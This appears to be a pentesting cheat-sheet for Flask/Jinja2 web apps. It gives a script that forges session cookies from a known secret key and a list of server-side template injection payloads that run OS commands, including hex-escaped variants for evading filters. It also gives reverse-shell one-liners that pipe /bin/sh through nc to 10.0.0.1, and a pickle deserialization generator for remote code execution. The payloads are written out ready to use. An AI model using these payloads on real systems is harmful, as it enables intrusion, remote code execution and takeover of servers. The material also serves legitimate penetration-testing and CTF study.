Flask Jinja2 Pentesting
Last modified: 2023-03-19
Flask is a micro web framework written in Python.
Common Directories
/app.py
/main.py
/modules.py
/modules/__init__.py
/modules/admin.py
Cookie Forgery
1. Create a Python Virtual Environment
python3 -m venv myenv
source myenv/bin/activate
2. Install Packages
pip3 install flask requests waitress
3. Create a Python Script
For instance, create “test.py”.
Replace the "SECRET_KEY" value with the target Flask app's secret key.
#!/usr/bin/env python3
from flask import Flask, session, request
from waitress import serve
import requests, threading, time
app = Flask(__name__)
app.config["SECRET_KEY"] = "c53ac69e07ed112ecb788eb4dc831990"
@app.route("/")
def main():
session["auth"] = "True"
session["username"] = "test" # SSTI may be applied with "{{ 3*7 }}"
return "Check you cookies", 200
# Flask setup/start
thread = threading.Thread(target = lambda: serve(app, port=9000, host="127.0.0.1"))
thread.setDaemon(True)
thread.start()
# Request
time.sleep(1)
print(requests.get("http://localhost:9000/").cookies.get("session"))
4. Run the Script
python3 test.py
The cookie value generated.
Copy and paste it into the Cookie of the HTTP header in browser as below.
Cookie: session=<generated_cookie_value>
Now we can login and access to admin page e.g. /admin.
After exploiting, deactivate the python virtual environment.
deactivate
Server-Side Template Injection (SSTI)
Sometimes, website may filter specific characters.
If so, URL encode the payload or convert to HEX.
In addition, it’s recommended to send requests using Burp Suite because web browsers automatically update the payload.
First, try below payloads.
{{ 4*2 }}
{{ config.items() }}
If success, you may be able to exploit with OS command injection.
{{ request.application.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() }}
{{ request['application']['\x5f\x5fglobals\x5f\x5f']['\x5f\x5fbuiltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['popen']('id')['read']() }}
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('id')|attr('read')() }}
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')() }}
{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
Reverse Shell
{{config.__class__.__init__.__globals__['os'].popen('mkfifo /tmp/ZTQ0Y; nc 10.0.0.1 443 0</tmp/ZTQ0Y | /bin/sh >/tmp/ZTQ0Y 2>&1; rm /tmp/ZTQ0Y').read()}}
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')('os')|attr('popen')('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f')|attr('read')() }}
SSTI with Error Page
If the website displays an error page (404, 403, etc.) when we access to the page which does not exists, the path may be reflected in the error page. For example, when we attempt to access to /example.html
which does not exist, the error page will show messages like the following.
No result for /example.html
As you know, we can insert the malicious program using SSTI.
For instance, try to access http://example.com/{{ 2*3 }}
.
The error page will reflect the result of "2*3" as follow.
No result for 6
Decode Session Cookie
The session of cookie in the Flask webapp can be decoded.
Python Pickle RCE
reference: https://davidhamann.de/2020/04/05/exploiting-python-pickle/
The python “pickle” module, that serialize and deserialize Python object, is vulnerable to remote code execution. If the website uses this module, we may be able to execute arbitrary code.
Below is the Python script (”mypickle.py”) to generate the payload to reverse shell.
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 4444 > /tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
Now run this script to generate the Base64 payload.
python3 mypickle.py
Copy the ourput base64 string and paste it to where the payload affects in website.
Before reloading the web page, start a listener in local machine.
nc -lvnp 4444
Then reload the page. We should get a shell in local terminal.